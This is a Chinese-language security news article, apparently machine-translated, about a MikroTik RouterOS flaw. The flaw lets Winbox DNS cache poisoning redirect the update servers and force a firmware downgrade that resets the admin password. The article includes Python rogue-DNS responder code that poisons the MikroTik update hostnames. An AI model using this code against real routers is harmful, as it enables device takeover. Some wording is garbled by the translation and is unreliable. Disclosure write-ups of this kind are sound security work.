RouterOS 中的反向移植漏洞使数十万设备面临风险

RouterOS 中的反向移植漏洞使数十万设备面临风险

基于 RouterOS (Mikrotik) 的远程降级设备的能力使数十万网络设备面临风险。 该漏洞与 Winbox 协议的 DNS 缓存中毒相关,并允许您将过时的(默认密码重置)或修改的固件加载到设备上。

RouterOS 中的反向移植漏洞使数十万设备面临风险

漏洞详情

RouterOS终端支持resolve命令进行DNS查找。

RouterOS 中的反向移植漏洞使数十万设备面临风险

该请求由称为解析器的二进制文件处理。 Resolver 是连接到 RouterOS 的 Winbox 协议的众多二进制文件之一。 在较高级别上,发送到 Winbox 端口的“消息”可以根据基于数组的编号方案路由到 RouterOS 中的各种二进制文件。

默认情况下,RouterOS 禁用 DNS 服务器功能。

RouterOS 中的反向移植漏洞使数十万设备面临风险

然而,即使服务器功能被禁用,路由器也会维护自己的 DNS 缓存。

RouterOS 中的反向移植漏洞使数十万设备面临风险

当我们使用 winbox_dns_request 例如 example.com 发出请求时,路由器将缓存结果。

RouterOS 中的反向移植漏洞使数十万设备面临风险

由于我们可以指定请求应通过的 DNS 服务器,因此输入错误的地址是微不足道的。 例如,您可以从配置 DNS 服务器实现 菲利普·克劳斯始终使用包含 IP 地址 192.168.88.250 的 A 记录进行响应。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

现在,如果您使用 Winbox 搜索 example.com,您可以看到路由器的 DNS 缓存已中毒。

RouterOS 中的反向移植漏洞使数十万设备面临风险

当然,中毒 example.com 并不是很有用,因为路由器实际上不会使用它。 但路由器需要访问upgrade.mikrotik.com、cloud.mikrotik.com、cloud2.mikrotik.com和download.mikrotik.com。 由于另一个错误,有可能一次性毒死他们。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

路由器请求一项权限,我们返回五项权限。 路由器无法正确缓存所有这些响应。

RouterOS 中的反向移植漏洞使数十万设备面临风险

显然,如果路由器充当 DNS 服务器,这种攻击也很有用,因为它允许路由器的客户端受到攻击。

此攻击还允许您利用更严重的漏洞:降级或向后移植 RouterOS 版本。 攻击者重新创建更新服务器的逻辑,包括更改日志,并迫使 RouterOS 将过时(易受攻击)版本视为当前版本。 这里的危险在于,当版本“更新”时,管理员密码被重置为默认值——攻击者可以用空密码登录系统!


尽管事实上,攻击非常有效 作者 实现了更多向量,包括与 在固件中嵌入后门,但这已经是一种多余的技术,将其用于非法目的是非法的。

保护

只需禁用 Winbox 即可保护自己免受这些攻击。 尽管通过 Winbox 进行管理很方便,但最好使用 SSH 协议。

来源: habr.com

添加评论